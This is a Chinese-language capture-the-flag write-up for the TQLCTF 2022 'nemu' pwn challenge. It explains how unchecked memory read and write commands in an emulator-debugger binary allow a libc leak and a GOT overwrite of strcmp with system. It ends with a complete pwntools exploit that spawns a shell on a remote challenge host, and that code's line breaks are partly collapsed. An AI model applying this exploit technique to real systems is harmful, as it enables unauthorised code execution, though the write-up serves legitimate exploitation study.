Nemu-Wp
[TQLCTF] 2022 Nemu-Wp
题目附件我已上传到我的Github,有需要的可以自行下载,复现该题目时,远程环境我使用的是NSSCTF的环境。
下载附件后,发现有四个文件,一个源码(nemu_source_code),一个elf文件(nemu),一个libc文件(libc-2.23.so),还有一个查了以后才知道是Apple Desktop Service Store(.DS_Store),做题过程中发现没啥用好像。
老流程,将nemu放入IDA进行反汇编,反汇编出来有一大堆东西,可以在侧边看见有各种形如:cmd_的函数名,可以执行各种指令,初步猜测是在模拟一个bash之类的东西,随后,我去网上搜了一下Nemu,发现这是南京大学的一个开源的调试器项目:Nemu,有兴趣的可以去看看,下面对各个函数逐步分析。
先把程序放入虚拟机运行,发现运行不了,报出如图的错误:

这是由于libreadline.so.6已经过时了,用libreadline.so.8就行了,使用如下命令,来创建软链接:
cd /lib/x86_64-linux-gnu/
sudo ln -s libreadline.so.8 libreadline.so.6
这时就发现已经可以运行了,运行起来之后输入help,查看有哪些指令可以用,发现一共有10条指令可以用:
- help:查看所有指令,以及其作用
- c:继续执行程序(有点像gdb中的
c命令) - q:退出程序
- si:单步执行程序
- info:显示所有的断点信息(后面可以用来泄露libc)
- x:读取内存的内容
- p:显示变量与数值
- w:建立断点
- d:删除断点
- set:写入内存
进入ida分析以后发现,x指令与set指令在对内存进行读写时,未进行验证,也就是说可以任意地址读写。
分析一下读写的函数vaddr_write和vaddr_read,可以发现读写都是通过对pmem的偏移来实现的,而pmem位于0x06A3B80的位置,所以我们只能读写这个地址以上的地址。
而通过对scan watchpoint这个函数的分析可以看出,断点保存在一个链表里,head的next位即是下一个断点,而head是一个结构体,存在old_value,new_value等属性。
那么利用思想就是先设置一个断点,让head不为NULL,然后利用任意地址写的功能,向head中写入got表中的地址,然后利用info函数打印断点信息,来泄露libc中的地址,从而计算出libc的基址,由于got表可写,所以利用set任意地址写入,向head写入strcmp的got表的地址,并设置断点,使其值为计算出的system的函数的地址,然后输入/bin/sh\x00即可getshell。
由于old_value位只有四个字节,所以泄漏的时候低位和高位是分开的,其余的位数存在于new_value中,所以需要分两次接受数据。
然后又由于写入与读取都是通过结构体的偏移来实现的,可以在ida中查看到,old_value的位置位于head偏移0x30的位置,所以读写的时候需要减去0x30。
这里要感谢Ayaka师傅的指点,我写的时候想了很久为什么需要减去0x30,没有想起来结构体的偏移这回事。
完整exp如下:
from pwn import *
from sgtpyutils.logger import loggerio=remote('1.14.71.254',28964)
#io=process('./nemu')
elf=ELF('./nemu')
libc=ELF('./libc-2.23.so')
context.arch='amd64'
context.log_level='debug'pmem_addr=0x6A3B80
head_addr=0x86A3FC8def do_cmd(_cmd):io.recvuntil("(nemu) ")io.sendline(str(_cmd))def mem_set(addr,data):io.recvuntil("(nemu) ")io.sendline('set {addr} {data}'.format(addr=hex(addr-pmem_addr),data=hex(data)))do_cmd('w $rax')free_got=elf.got['free']mem_set(head_addr,0x60eff0)do_cmd('info w')#gdb.attach(io)
#pause()io.recvuntil('0x')low_addr = int(io.recv(8),16)
io.recvuntil('0x')high_addr = int(io.recv(4),16)free_addr=low_addr+(high_addr*0x100000000)libc_base=free_addr-libc.symbols['free']logger.info("free_got: " + hex(free_got))logger.info('libc_base:' + hex(libc_base))sys_addr = libc_base+libc.symbols['system']mem_set(head_addr,0)
strcmp_got=elf.got['strcmp']mem_set(head_addr-0x8,strcmp_got-0x30)do_cmd('w ' + hex(sys_addr))io.recvuntil("(nemu) ")io.sendline(b'/bin/sh\x00')#gdb.attach(io)
#pause()io.interactive()
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
